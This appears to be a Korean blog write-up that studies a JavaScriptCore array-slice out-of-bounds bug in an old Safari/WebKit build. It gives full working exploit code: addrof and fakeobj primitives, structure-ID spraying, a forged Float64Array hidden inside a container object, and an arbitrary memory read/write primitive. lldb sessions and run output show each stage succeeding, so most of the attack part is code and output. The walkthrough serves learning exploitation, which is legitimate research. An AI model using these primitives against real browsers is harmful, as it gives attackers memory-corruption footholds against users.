ArrayWithInt32      → 0xffff000000000001   (boxed, 태그 0xffff)
ArrayWithDouble     → 0x3ff0000000000000   (unboxed, 순수 double 비트)
ArrayWithContiguous → 0xffff000000000001   (boxed)

메모리에는 어느 쪽인지 표시가 없다. 셀 헤더의 m_indexingType 1바이트가 해석 규칙을 결정한다.

이름 저장 형태
0x05 ArrayWithInt32 boxed
0x07 ArrayWithDouble unboxed ← 유일한 예외
0x09 ArrayWithContiguous boxed
0x0B ArrayWithArrayStorage boxed

비트로 보면 IsArray(0x01) | Shape이고, Shape가 0x06(DoubleShape)일 때만 unboxed이다.

0x07만 unboxed, 나머지 전부 boxed로 외우면 된다.

5. JSC::JSArray::fastSlice — OOB 확인

publicLength = 0인데 count = 4 로 나온다. 경계를 벗어났다.

(lldb) b JSC::JSArray::fastSlice
Breakpoint 6: where = JavaScriptCore`JSC::JSArray::fastSlice(JSC::ExecState&, unsigned int, unsigned int) + 29 at JSArray.cpp:682, address = 0x00000001006f99ad
(lldb) c
Process 864 resuming
Process 864 stopped
* thread #1: tid = 0x8232, 0x00000001006f99ad JavaScriptCore`JSC::JSArray::fastSlice(this=0x0000000103847e20, exec=0x00007fff5fbfdfe0, startIndex=0, count=4) + 29 at JSArray.cpp:682, queue = 'com.apple.main-thread', stop reason = breakpoint 6.1
    frame #0: 0x00000001006f99ad JavaScriptCore`JSC::JSArray::fastSlice(this=0x0000000103847e20, exec=0x00007fff5fbfdfe0, startIndex=0, count=4) + 29 at JSArray.cpp:682
   679
   680  JSArray* JSArray::fastSlice(ExecState& exec, unsigned startIndex, unsigned count)
   681  {
-> 682      auto arrayType = indexingType();
   683      switch (arrayType) {
   684      case ArrayWithDouble:
   685      case ArrayWithInt32:
(lldb) p startIndex
(unsigned int) $16 = 0
(lldb) p count
(unsigned int) $17 = 4
(lldb) p/x m_butterfly.get()
(JSC::Butterfly *) $18 = 0x000000010381c9d0
(lldb) x/2wx 0x000000010381c9d0-8
0x10381c9c8: 0x00000000 0x00000000

6. memcpy 전후 살피기

(lldb) br s -f JSArray.cpp -l 698
Breakpoint 7: where = JavaScriptCore`JSC::JSArray::fastSlice(JSC::ExecState&, unsigned int, unsigned int) + 286 at JSArray.cpp:698, address = 0x00000001006f9aae
(lldb) c
Process 864 resuming
Process 864 stopped
* thread #1: tid = 0x8232, 0x00000001006f9aae JavaScriptCore`JSC::JSArray::fastSlice(this=0x0000000103847e20, exec=0x00007fff5fbfdfe0, startIndex=0, count=4) + 286 at JSArray.cpp:698, queue = 'com.apple.main-thread', stop reason = breakpoint 7.1
    frame #0: 0x00000001006f9aae JavaScriptCore`JSC::JSArray::fastSlice(this=0x0000000103847e20, exec=0x00007fff5fbfdfe0, startIndex=0, count=4) + 286 at JSArray.cpp:698
   695
   696          auto& resultButterfly = *resultArray->butterfly();
   697          if (arrayType == ArrayWithDouble)
-> 698              memcpy(resultButterfly.contiguousDouble().data(), m_butterfly->contiguousDouble().data() + startIndex, sizeof(JSValue) * count);
   699          else
   700              memcpy(resultButterfly.contiguous().data(), m_butterfly->contiguous().data() + startIndex, sizeof(JSValue) * count);
   701          resultButterfly.setPublicLength(count);
(lldb) x/4fg 0x000000010381c9d0
0x10381c9d0: 0.13370000000000001
0x10381c9d8: 1.1336999999999999
0x10381c9e0: 8.4879831643551549E-314
0x10381c9e8: 2.1511529288111623E-314 ← ★ 타깃 포인터

(lldb) n
Process 864 stopped
* thread #1: tid = 0x8232, 0x00000001006f9ba1 JavaScriptCore`JSC::JSArray::fastSlice(this=0x0000000103847e20, exec=0x00007fff5fbfdfe0, startIndex=0, count=4) + 529 at JSArray.cpp:701, queue = 'com.apple.main-thread', stop reason = step over
    frame #0: 0x00000001006f9ba1 JavaScriptCore`JSC::JSArray::fastSlice(this=0x0000000103847e20, exec=0x00007fff5fbfdfe0, startIndex=0, count=4) + 529 at JSArray.cpp:701
   698              memcpy(resultButterfly.contiguousDouble().data(), m_butterfly->contiguousDouble().data() + startIndex, sizeof(JSValue) * count);
   699          else
   700              memcpy(resultButterfly.contiguous().data(), m_butterfly->contiguous().data() + startIndex, sizeof(JSValue) * count);
-> 701          resultButterfly.setPublicLength(count);
   702
   703          return resultArray;
   704      }
(lldb) p/x resultArray
(JSC::JSArray *) $25 = 0x0000000103847e00
(lldb) x/2gx 0x0000000103847e00
0x103847e00: 0x01201207000000a0 0x000000010381ca10
(lldb) x/4gx 0x000000010381c9d0
0x10381c9d0: 0x3fc11d14e3bcd35b 0x3ff223a29c779a6b
0x10381c9e0: 0x0000000400000001 0x0000000103847e30
(lldb) x/4fg 0x000000010381c9d0
0x10381c9d0: 0.13370000000000001
0x10381c9d8: 1.1336999999999999
0x10381c9e0: 8.4879831643551549E-314
0x10381c9e8: 2.1511529288111623E-314

fakeobj

기초단계 중 하나인 fakeobj는 이와 완전히 반대 방식으로 동작한다.

여기서는 JSValue 배열에 네이티브 double 형 값을 삽입해 JSObject 포인터를 만든다.

  1. 객체들의 배열을 생성한다. 이 배열은 IndexingType이 ArrayWithContiguous로 보관된다
  2. 다음과 같은 작업을 수행할 valueOf 함수를 가진 객체를 생성한다
    1. 이전에 만든 배열을 축소한다
    2. 새로운 배열을 할당하고, JSObject 로 얻고자 하는 주소를 비트패턴이 동일하게끔 double 형으로 변환하여 배열 안에 넣는다. 이 double 형 값으로 인해 배열의 IndexingTypeArrayWithDouble으로 변환되며, 값은 native 형태로 저장된다.
    3. 버그를 트리거하기 위해 축소한 배열의 크기보다 큰 값을 리턴한다
  3. 대상이 되는 배열이 slice()를 호출할때 2에서 생성된 객체를 인자값으로 사용한다.

구현된 fakeobj 코드는 다음과 같다.

  • fakeobj.jsc
function Int64_fromDouble(d) {
    var u = new Uint32Array(new Float64Array([d]).buffer);
    var h = u[1].toString(16), l = u[0].toString(16);
    while (h.length < 8) h = '0' + h;
    while (l.length < 8) l = '0' + l;
    return '0x' + h + l;
}

function asDouble(hex) {
    var s = hex.replace(/^0x/, '');
    while (s.length < 16) s = '0' + s;
    var hi = parseInt(s.substr(0, 8), 16), lo = parseInt(s.substr(8, 8), 16);
    if (hi >>> 16 == 0xffff || hi >>> 16 == 0xfffe)
        throw new RangeError('Cannot represent as a double because it is in the NaN range: ' + hex);
    var f = new Float64Array(1);
    new Uint32Array(f.buffer).set([lo, hi]);
    return f[0];
}

function addrof(object) {
    var a = [];
    for (var i = 0; i < 100; i++)
        a.push(i + 0.1337);                 // ArrayWithDouble (unboxed)
    var b = a.slice(0, {valueOf: function() { a.length = 0; a = [object]; return 4; }});
    return Int64_fromDouble(b[3]);
}

function fakeobj(hex) {
    var d = asDouble(hex);                  // 문자열 → 비트가 주소인 double
    var a = [];
    for (var i = 0; i < 100; i++)
        a.push({});                         // ArrayWithContiguous (boxed)
    return a.slice(0, {valueOf: function() { a.length = 0; a = [d]; return 4; }})[3];
}

var target = [1, 2, 3, 4];
print('target : ' + describe(target));

var addr = addrof(target);
print('addrof : ' + addr);

var fake = fakeobj(addr);
print('fakeobj: ' + describe(fake));
  • 실행 결과
seos-Mac:Debug seo$ sudo xcrun lldb -o "settings set target.env-vars DYLD_FRAMEWORK_PATH=$(pwd)" -- ./jsc -i fakeobj.jsc
(lldb) target create "./jsc"
Current executable set to './jsc' (x86_64).
(lldb) settings set -- target.run-args  "-i" "fakeobj.jsc"
(lldb) settings set target.env-vars DYLD_FRAMEWORK_PATH=/Users/seo/Desktop/WebKit-Safari-601.6.17/WebKitBuild/Debug
(lldb) r
Process 1071 launched: './jsc' (x86_64)
target : Cell: 0x104047e30 (0x104033900:[Array, {}, ArrayWithInt32, Proto:0x104047f40]), ID: 159
addrof : 0x0000000104047e30
fakeobj: Cell: 0x104047e30 (0x104033900:[Array, {}, ArrayWithInt32, Proto:0x104047f40]), ID: 159
>>>

R/W

  • rw.jsc
function hexlify(bytes) {
    var res = [];
    for (var i = 0; i < bytes.length; i++)
        res.push(('0' + bytes[i].toString(16)).substr(-2));
    return res.join('');
}
function unhexlify(hexstr, length) {
    if (length && hexstr.length > length * 2)
        hexstr = hexstr.substr(0, length * 2);
    if (hexstr.length % 2 == 1) hexstr = '0' + hexstr;
    var bytes = new Uint8Array(hexstr.length / 2);
    for (var i = 0; i < hexstr.length; i += 2)
        bytes[i / 2] = parseInt(hexstr.substr(i, 2), 16);
    return bytes;
}
var Struct = (function() {
    var buf = new ArrayBuffer(8);
    var f64 = new Float64Array(buf);
    var u8  = new Uint8Array(buf);
    return {
        float64: 0,
        pack:   function(_, v)     { f64[0] = v; return new Uint8Array(u8); },
        unpack: function(_, bytes) { u8.set(bytes); return f64[0]; }
    };
})();

function Int64(v) {
    var bytes = new Uint8Array(8);
    switch (typeof v) {
        case 'number':
            v = '0x' + Math.floor(v).toString(16);
        case 'string':
            if (v.startsWith('0x')) v = v.substr(2);
            if (v.length % 2 == 1)  v = '0' + v;
            var bigEndian = unhexlify(v, 8);
            bytes.set(Array.from(bigEndian).reverse());
            break;
        case 'object':
            if (v instanceof Int64) {
                bytes.set(v.bytes());
            } else {
                if (v.length != 8)
                    throw TypeError("Array must have excactly 8 elements.");
                bytes.set(v);
            }
            break;
        case 'undefined':
            break;
        default:
            throw TypeError("Int64 constructor requires an argument.");
    }
    this.asDouble = function() {
        if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
            throw new RangeError("Integer can not be represented by a double");
        return Struct.unpack(Struct.float64, bytes);
    };
    this.asJSValue = function() {
        if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff))
            throw new RangeError("Integer can not be represented by a JSValue");
        this.assignSub(this, 0x1000000000000);
        var res = Struct.unpack(Struct.float64, bytes);
        this.assignAdd(this, 0x1000000000000);
        return res;
    };
    this.bytes  = function()  { return Array.from(bytes); };
    this.byteAt = function(i) { return bytes[i]; };
    this.toString = function() { return '0x' + hexlify(Array.from(bytes).reverse()); };

    function operation(f, nargs) {
        return function() {
            if (arguments.length != nargs)
                throw Error("Not enough arguments for function " + f.name);
            for (var i = 0; i < arguments.length; i++)
                if (!(arguments[i] instanceof Int64))
                    arguments[i] = new Int64(arguments[i]);
            return f.apply(this, arguments);
        };
    }
    this.assignNeg = operation(function neg(n) {
        for (var i = 0; i < 8; i++) bytes[i] = ~n.byteAt(i);
        return this.assignAdd(this, Int64.One);
    }, 1);
    this.assignAdd = operation(function add(a, b) {
        var carry = 0;
        for (var i = 0; i < 8; i++) {
            var cur = a.byteAt(i) + b.byteAt(i) + carry;
            carry = cur > 0xff | 0;
            bytes[i] = cur;
        }
        return this;
    }, 2);
    this.assignSub = operation(function sub(a, b) {
        var carry = 0;
        for (var i = 0; i < 8; i++) {
            var cur = a.byteAt(i) - b.byteAt(i) - carry;
            carry = cur < 0 | 0;
            bytes[i] = cur;
        }
        return this;
    }, 2);
}
Int64.fromDouble = function(d) {
    var bytes = Struct.pack(Struct.float64, d);
    return new Int64(bytes);
};
function Neg(n) { return (new Int64()).assignNeg(n); }
function Add(a, b) { return (new Int64()).assignAdd(a, b); }
function Sub(a, b) { return (new Int64()).assignSub(a, b); }
Int64.Zero = new Int64(0);
Int64.One  = new Int64(1);

function addrof(object) {
    var a = [];
    for (var i = 0; i < 100; i++)
        a.push(i + 0.1337);                 // ArrayWithDouble
    var b = a.slice(0, {valueOf: function() { a.length = 0; a = [object]; return 4; }});
    return Int64.fromDouble(b[3]);
}
function fakeobj(addr) {
    var a = [];
    for (var i = 0; i < 100; i++)
        a.push({});                         // ArrayWithContiguous
    addr = addr.asDouble();
    return a.slice(0, {valueOf: function() { a.length = 0; a = [addr]; return 4; }})[3];
}

var structs = [];
function sprayStructures() {
    function randomString() {
        return Math.random().toString(36).replace(/[^a-z]+/g, '').substr(0, 5);
    }
    for (var i = 0; i < 0x1000; i++) {
        var a = new Float64Array(1);
        a[randomString()] = 1337;
        structs.push(a);
    }
}

sprayStructures();

var hax = new Uint8Array(0x1000);

print("[*] Setting up container object");

var jsCellHeader = new Int64([
    00, 0x10, 00, 00,       // m_structureID, current guess.
                            // JSC allocats a set of structures for non-JSObjects (Executables, regular expression objects, ...)
                            // during start up. Avoid these by picking a high initial ID.
    0x0,                    // m_indexingType, None
    0x27,                   // m_type, Float64Array (doesn't really matter, will be different for older versions)
    0x18,                   // m_flags, OverridesGetOwnPropertySlot | InterceptsGetOwnPropertySlotByIndexEvenWhenLengthIsNotZero
    0x1                     // m_cellState, NewWhite
]);

var container = {
    jsCellHeader: jsCellHeader.asJSValue(),
    butterfly: false,
    vector: hax,
    lengthAndFlags: (new Int64('0x0001000000000010')).asJSValue()
};

var address = Add(addrof(container), 16);
print("[*] Fake JSObject @ " + address);

var fakearray = fakeobj(address);

while (!(fakearray instanceof Float64Array)) {
    jsCellHeader.assignAdd(jsCellHeader, Int64.One);
    container.jsCellHeader = jsCellHeader.asJSValue();
}

print("[*] Float64Array structure ID found: " + jsCellHeader.toString().substr(-8));

//
// We now have an arbitrary read+write primitive since we can overwrite the
// data pointer of an Uint8Array with an arbitrary address.
//
// Optimization: force JIT compilation for these methods.
//
memory = {
    read: function(addr, length) {
        print("[<] Reading " + length + " bytes from " + addr);
        fakearray[2] = addr.asDouble();
        var a = new Array(length);
        for (var i = 0; i < length; i++)
            a[i] = hax[i];
        return a;
    },
    readInt64: function(addr) {
        return new Int64(this.read(addr, 8));
    },
    write: function(addr, data) {
        print("[>] Writing " + data.length + " bytes to " + addr);
        fakearray[2] = addr.asDouble();
        for (var i = 0; i < data.length; i++)
            hax[i] = data[i];
    },
    writeInt64: function(addr, val) {
        return this.write(addr, val.bytes());
    }
};

// test
var buf = new Uint8Array(0x100);
buf[0] = 0x41;
var backing = memory.readInt64(Add(addrof(buf), 0x10));

print("[before] buf[0] = " + buf[0]);                       
print("[read]   *backing = " + memory.read(backing, 1)[0]); 
memory.write(backing, [0xff]);                          
print("[after]  buf[0] = " + buf[0]);  
  • 실행 결과
seos-Mac:Debug seo$ sudo xcrun lldb -o "settings set target.env-vars DYLD_FRAMEWORK_PATH=$(pwd)" -- ./jsc -i rw.jsc
(lldb) target create "./jsc"
Current executable set to './jsc' (x86_64).
(lldb) settings set -- target.run-args  "-i" "rw.jsc"
(lldb) settings set target.env-vars DYLD_FRAMEWORK_PATH=/Users/seo/Desktop/WebKit-Safari-601.6.17/WebKitBuild/Debug
(lldb) r
Process 1127 launched: './jsc' (x86_64)
[*] Setting up container object
[*] Fake JSObject @ 0x0000000106173260
[*] Float64Array structure ID found: 00001000
[<] Reading 8 bytes from 0x00000001061631d0
[before] buf[0] = 65
[<] Reading 1 bytes from 0x000000010612cd78
[read]   *backing = 65
[>] Writing 1 bytes to 0x000000010612cd78
[after]  buf[0] = 255

1. sprayStructures() — 번호표의 “구멍” 메우기

sprayStructure()부터 살펴보자.

a[randomString()] = 1337; 코드에 의해 프로퍼티가 추가되며, 그렇게 하는 이유는 IndexingType이 바뀌면 Structure가 전이되기 때문이다. 여기서 Structure란, Structure 포인터를 직접 담는 게 아니라 별도 표(StructureIDTable)의 인덱스로 보면 된다.

structure_id_indirection.svg

new Float64Array(1) 코드로 그냥 여러개 만들면 전부 같은 Structure를 공유한다. 하지만 a.abcde = 1337처럼 새 이름의 프로퍼티를 붙이면 모양이 달라져서 새 Structure가 생긴다.

randomString()으로 매번 다른 이름을 쓰는 이유는 a.foo, a.bar, a.baz… 전부 다른 모양이 곧 전부 다른 Structure가 되므로 번호표에 새 항목이 0x1000개 추가된다.

즉, 0x1000개의 진짜 Structure로 채우기 위해 스프레이한다고 보면 될 듯 싶다.

var structs = [];
function sprayStructures() {
    function randomString() {
        return Math.random().toString(36).replace(/[^a-z]+/g, '').substr(0, 5);
    }
    for (var i = 0; i < 0x1000; i++) {
        var a = new Float64Array(1);
        a[randomString()] = 1337;
        structs.push(a);
    }
}

spray_fills_holes.svg

2. 가짜 객체 재료 준비

지금은 평범한 바이트 배열이지만,

추후 가짜 Float64Array의 데이터 포인터가 이 hax의 내부를 가리키게 만들어서,

hax를 통해 메모리를 읽고 쓸 것이다.

var hax = new Uint8Array(0x1000);

만들어질 가짜 JSCell 헤더는 다음과 같다.

바이트 순서가 리틀엔디안이라 [00, 0x10, 00, 00]m_structureID = 0x00001000이다.

m_typeFloat64ArrayType인 0x25 (Source\JavaScriptCore\runtime\JSType.h:72)로 되어있다.

m_cellState는 1바이트이며 Black(0), White(1), Grey(2)라는 세 가지 색상 중 하나일 수 있는데, 여기서는 Eden에 방금 할당된 객체를 의미인 White (1)로 지정되어있다.

var hax = new Uint8Array(0x1000);

print("[*] Setting up container object");

var jsCellHeader = new Int64([
    00, 0x10, 00, 00,       // m_structureID, current guess.
                            // JSC allocats a set of structures for non-JSObjects (Executables, regular expression objects, ...)
                            // during start up. Avoid these by picking a high initial ID.
    0x0,                    // m_indexingType, None
    0x25,                   // m_type, Float64Array (doesn't really matter, will be different for older versions)
    0x18,                   // m_flags, OverridesGetOwnPropertySlot | InterceptsGetOwnPropertySlotByIndexEvenWhenLengthIsNotZero
    0x1                     // m_cellState, NewWhite
]);

가짜 객체를 “숨긴” 평범한 객체인 container를 만든다.

var container = {
    jsCellHeader: jsCellHeader.asJSValue(),
    butterfly: false,
    vector: hax,
    lengthAndFlags: (new Int64('0x0001000000000010')).asJSValue()
};

JSC에서 {} 객체의 프로퍼티는 셀 바로 뒤에 순서대로 인라인으로 저장될 것이다.

container 객체의 메모리:
  +0x00  container 자신의 JSCell 헤더
  +0x08  container 자신의 m_butterfly
  +0x10  inline[0] = jsCellHeader     ← 여기!
  +0x18  inline[1] = butterfly (false)
  +0x20  inline[2] = vector (hax)
  +0x28  inline[3] = lengthAndFlags

container_memory_layout.svg

  • 실제 덤프 결과:
>>> describe(container)
Cell: 0x10794b250 (0x107941750:[Object, {jsCellHeader:0, butterfly:1, vector:2, lengthAndFlags:3}, NonArray, Proto:0x103c47ff0]), ID: 4522

(lldb) x/6gx 0x10794b250
0x10794b250: 0x01001300000011aa 0x0000000000000000
0x10794b260: 0x0118250000001000 0x0000000000000006
0x10794b270: 0x000000010793b520 0x0001000000000010

이제 JSArrayBufferView(= Float64Array)의 실제 메모리 레이아웃을 소스코드에서 살펴보자.

Source\JavaScriptCore\runtime\JSArrayBufferView.h:180-182

class JSArrayBufferView : public JSNonFinalObject {
    // (JSCell 헤더 8 + m_butterfly 8 을 상속)
    void* m_vector;         // +0x10
    uint32_t m_length;      // +0x18
    TypedArrayMode m_mode;  // +0x1c
};

두 레이아웃을 겹쳐보자.

container의 프로퍼티들을 +0x10에서 시작하는 가짜 Float64Array로 해석하면:

가짜 Float64Array 필드 오프셋 container가 넣어둔 값
m_structureID(헤더) +0x00 jsCellHeader (structureID 0x1000…)
m_butterfly +0x08 false
m_vector +0x10 hax
m_length + m_mode +0x18 0x0001000000000010

container_overlay_float64array.svg

jsCellHeader가 가짜 배열의 셀 헤더가 되고, hax가 데이터 포인터(m_vector)가 될 것이다.

lengthAndFlags의 하위 4바이트 0x10m_length(길이 16),

상위 0x0001m_mode가 된다.

asJSValue()를 호출하는 이유는 이 값들이 boxed 슬롯(container의 프로퍼티)에 저장되니까, 나중에 가짜 배열이 이걸 raw로 읽을 때 원하는 비트가 나오도록 미리 보정을 한다.

3. 가짜 객체 주소 얻기 & 위조

  • addrof(container): container의 실제 주소를 얻는다.
  • +16: container의 첫 프로퍼티(jsCellHeader)가 있는 곳. 여기가 가짜 배열의 시작점이다.
  • fakeobj(address): 그 주소를 JSObject 포인터로 위조한다.

이제 fakearray는 엔진이 보기에 살아있는 객체로 보일 것이다. 그 객체의 셀 헤더는 우리가 조립한 jsCellHeader이고, 데이터 포인터는 hax 가 된다.

이 순간부터 GC가 돌면 크래시된다**.** m_butterfly 자리에 false가 들어있어서, GC가 이 butterfly를 방문하려다 죽는다. 그래서 원본 주석에는 "… operations performed now should be as fast as possible."라고 경고하고 있다.

var address = Add(addrof(container), 16);   // container + 0x10
print("[*] Fake JSObject @ " + address);

var fakearray = fakeobj(address);

addrof_plus16_fakeobj.svg

4. instanceof 루프 — 진짜 StructureID 찾기

지금 m_structureID는 0x1000이라는 추측값이다. 이게 진짜 Float64Array의 번호일지 모른다는 것이다.

instanceof가 어떻게 이걸 검증하는지, while (!(fakearray instanceof Float64Array)) { 루프문으로 결국 fakearray의 ClassInfo가 Float64Array인지 확인한다.

m_structureID를 하나씩 늘려가며, 그 번호가 번호표에서 "Float64Array Structure"를 가리키는 순간을 찾는다.

이전에 1번 과정에서 했던 sprayStructures()를 한 이유에 대해 설명이 된다. ****우리가 만든 0x1000개의 Float64Array 기반 Structure 중 하나에 반드시 걸릴 것이다.

while (!(fakearray instanceof Float64Array)) {
    jsCellHeader.assignAdd(jsCellHeader, Int64.One);
    container.jsCellHeader = jsCellHeader.asJSValue();
}

print("[*] Float64Array structure ID found: " + jsCellHeader.toString().substr(-8));

instanceof_bruteforce_loop.svg

5. Arbitrary R/W primitive

fakearray[2]를 제어하여 임의 읽기/쓰기를 구축한다.

//
// We now have an arbitrary read+write primitive since we can overwrite the
// data pointer of an Uint8Array with an arbitrary address.
//
// Optimization: force JIT compilation for these methods.
//
memory = {
    read: function(addr, length) {
        print("[<] Reading " + length + " bytes from " + addr);
        fakearray[2] = addr.asDouble();    // ★ m_vector 를 addr 로 덮기
        var a = new Array(length);
        for (var i = 0; i < length; i++)
            a[i] = hax[i];    // hax 로 읽기
        return a;
    },
    //...
    write: function(addr, data) {
        print("[>] Writing " + data.length + " bytes to " + addr);
        fakearray[2] = addr.asDouble();    // ★ m_vector 를 addr 로 덮기
        for (var i = 0; i < data.length; i++)
            hax[i] = data[i];   hax 로 쓰기
    },
    //...
};

fakearray[2]는 곧 m_vector가 되는데, 이러한 이유는 fakearray의 데이터 포인터(m_vector)는 현재 hax를 가리킨다.

Float64Array의 원소 접근은 m_vector + index*8입니다. 그런데 fakearraym_vector가 가리키는 hax는 그 자체가 또 하나의 Uint8Array 객체가 된다.

fakearray.m_vector → hax 객체의 시작
fakearray[0] = *(hax + 0)     = hax 객체의 JSCell 헤더
fakearray[1] = *(hax + 0x08)  = hax 객체의 m_butterfly
fakearray[2] = *(hax + 0x10)  = hax 객체의 m_vector   ← hax 자신의 데이터 포인터!

hax도 Uint8Array라 JSArrayBufferView 레이아웃을 따르고, 그 m_vector+0x10에 있다. (방금 소스에서 확인). 그래서 fakearray[2] = Xhax의 데이터 포인터를 X로 덮어쓴다고 보면 된다.

그래서 임의 읽기가 어떻게 되는지 살펴보면,

fakearray[2] = addr           →  hax.m_vector = addr
hax[i]                        →  *(addr + i)     ← 임의 주소 읽기!

fakearray[2]hax의 데이터 포인터를 원하는 주소로 바꾼 뒤, 평범하게 hax[0], hax[1]…을 읽으면 그게 곧 그 주소의 메모리이다. 쓰기도 똑같이 hax[i] = v로 가능하다.

두 배열이 겹쳐 있는 구조이며, ****fakearrayhax의 포인터를 조종하고, hax로 실제 메모리에 접근한다. fakearray가 “조종간”, hax가 "창문"인 셈이다.

two_overlapping_arrays_rw.svg

6. Testing R/W

addrof(buf) + 0x10bufm_vector(데이터 포인터)이다.

그걸 primitive로 읽으면 buf의 실제 backing store 주소가 나온다.

같은 메모리(backing)를 일반 JS 경로(buf[0])와 primitive 경로(memory.read/write) 양쪽에서 건드려 교차 검증한다.

  • [read][before](65)와 같으면 → primitive가 그 주소를 정확히 읽었다
  • [after]가 255면 → primitive가 그 주소에 정확히 썼다 (일반 JS가 그 변화를 봄)
// test
var buf = new Uint8Array(0x100);
buf[0] = 0x41;
var backing = memory.readInt64(Add(addrof(buf), 0x10));

print("[before] buf[0] = " + buf[0]);                       
print("[read]   *backing = " + memory.read(backing, 1)[0]); 
memory.write(backing, [0xff]);                          
print("[after]  buf[0] = " + buf[0]);  

rw_cross_verification.svg

참고

https://github.com/hdbreaker/WebKit-CVE-2016-4622

https://blog.null2root.org/blog/2019/04/06/Attacking-JavaScript-Engines-kor.html

https://liveoverflow.com/setup-and-debug-javascriptcore-webkit-browser-0x01/

https://github.com/saelo/jscpwn/blob/master/pwn.js